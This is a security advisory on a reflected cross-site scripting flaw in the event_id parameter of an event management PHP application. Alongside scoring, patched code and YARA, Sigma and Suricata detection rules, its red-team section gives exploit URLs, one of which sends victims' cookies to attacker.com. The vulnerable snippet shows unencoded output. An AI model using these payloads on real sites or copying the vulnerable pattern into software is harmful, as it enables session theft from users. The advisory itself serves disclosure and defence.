CVE-2025-56243

Executive Summary

CVE-2025-56243 is a reflected Cross-Site Scripting (XSS) vulnerability in PuneethReddyHC Event Management System version 1.0. The flaw exists in the register.php page, where the event_id GET parameter is not properly sanitized or encoded before being rendered in the response. An attacker can craft a malicious URL containing JavaScript payloads in the event_id parameter. When a victim visits this URL, the script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), with a network attack vector, low attack complexity, no privileges required, but user interaction is required. The EPSS score is 0.0%, indicating low exploitation probability in the wild at this time. No official patch is available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click the crafted link.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited modification of data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires user interaction, but the impact can include session theft and phishing.

Deep Dive & Mechanics

The vulnerability resides in register.php. The application takes the event_id parameter from the GET request and directly embeds it into the HTML response without proper sanitization or output encoding. For example, the code might look like:

$event_id = $_GET['event_id'];
echo "<input type='hidden' name='event_id' value='$event_id'>";

An attacker can inject a payload such as:

http://target/register.php?event_id="><script>alert('XSS')</script>

When the victim visits this URL, the browser interprets the injected script and executes it. This is a classic reflected XSS.

The vulnerability is in the event_id parameter only. Other parameters may or may not be vulnerable, but the advisory specifically mentions event_id.

Vulnerable vs. Patched Code

Vulnerable Code (register.php):

<?php
$event_id = $_GET['event_id'];
?>
<form>
    <input type="hidden" name="event_id" value="<?php echo $event_id; ?>">
</form>

Patched Code (register.php):

<?php
$event_id = htmlspecialchars($_GET['event_id'], ENT_QUOTES, 'UTF-8');
?>
<form>
    <input type="hidden" name="event_id" value="<?php echo $event_id; ?>">
</form>

The fix uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of PuneethReddyHC Event Management System 1.0.
• A victim browser (e.g., Firefox, Chrome).

Exploit Steps:

1. Craft a malicious URL:

   http://target/register.php?event_id="><script>alert(document.cookie)</script>
   

2. Send the URL to the victim via email, social engineering, or other means.
3. When the victim clicks the link, the JavaScript executes, displaying the victim's cookies.

Advanced Payload (Session Hijacking):

http://target/register.php?event_id="><script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>

Set up a listener on attacker.com to capture cookies.

Blue Team

Detection:

• Monitor web server logs for requests to register.php with suspicious event_id parameters containing <script>, onerror, javascript:, or other XSS patterns.
• Use WAF rules to block common XSS payloads in the event_id parameter.

Mitigation:

• Apply input validation and output encoding as shown in the patched code.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use HTTP-only cookies to prevent JavaScript access to session cookies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /register.php with event_id containing <script>, %3Cscript%3E, onerror, javascript:.
  • Outbound connections from victim to attacker-controlled domains (e.g., for cookie exfiltration).
• Host IOCs:
  • Browser console errors or unexpected script execution.
  • Unusual JavaScript alerts or redirects.
• File IOCs:
  • Modified register.php file (if attacker uploads a backdoor).
  • Suspicious entries in web server access logs.

Detection Engineering

YARA Rule

rule CVE_2025_56243_XSS_EventID {
    meta:
        description = "Detects XSS attempts targeting CVE-2025-56243 in Event Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56243"
    strings:
        $xss_payload1 = /event_id=.*<script/i
        $xss_payload2 = /event_id=.*onerror/i
        $xss_payload3 = /event_id=.*javascript:/i
        $xss_payload4 = /event_id=.*%3Cscript%3E/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-56243 XSS Attempt via event_id Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts against PuneethReddyHC Event Management System register.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'register.php'
        cs-uri-query|contains|all:
            - 'event_id='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-56243 XSS Attempt - event_id Parameter"; flow:to_server; content:"GET"; http_method; content:"register.php"; http_uri; content:"event_id="; http_uri; pcre:"/event_id=.*(<script|onerror|javascript:)/iU"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patched code by using htmlspecialchars() on the event_id parameter.
2. Implement a Web Application Firewall (WAF) rule to block XSS payloads in the event_id parameter.
3. Set HTTP-only and Secure flags on session cookies.

Long-Term Fixes:

• Upgrade to a patched version if the vendor releases one.
• Conduct a full security audit of the application for similar vulnerabilities.
• Implement Content Security Policy (CSP) headers to restrict script sources.
• Use input validation (whitelist) for all user-supplied data.

Workarounds:

• If patching is not possible, disable the register.php page or restrict access via .htaccess or firewall rules.

Valters IT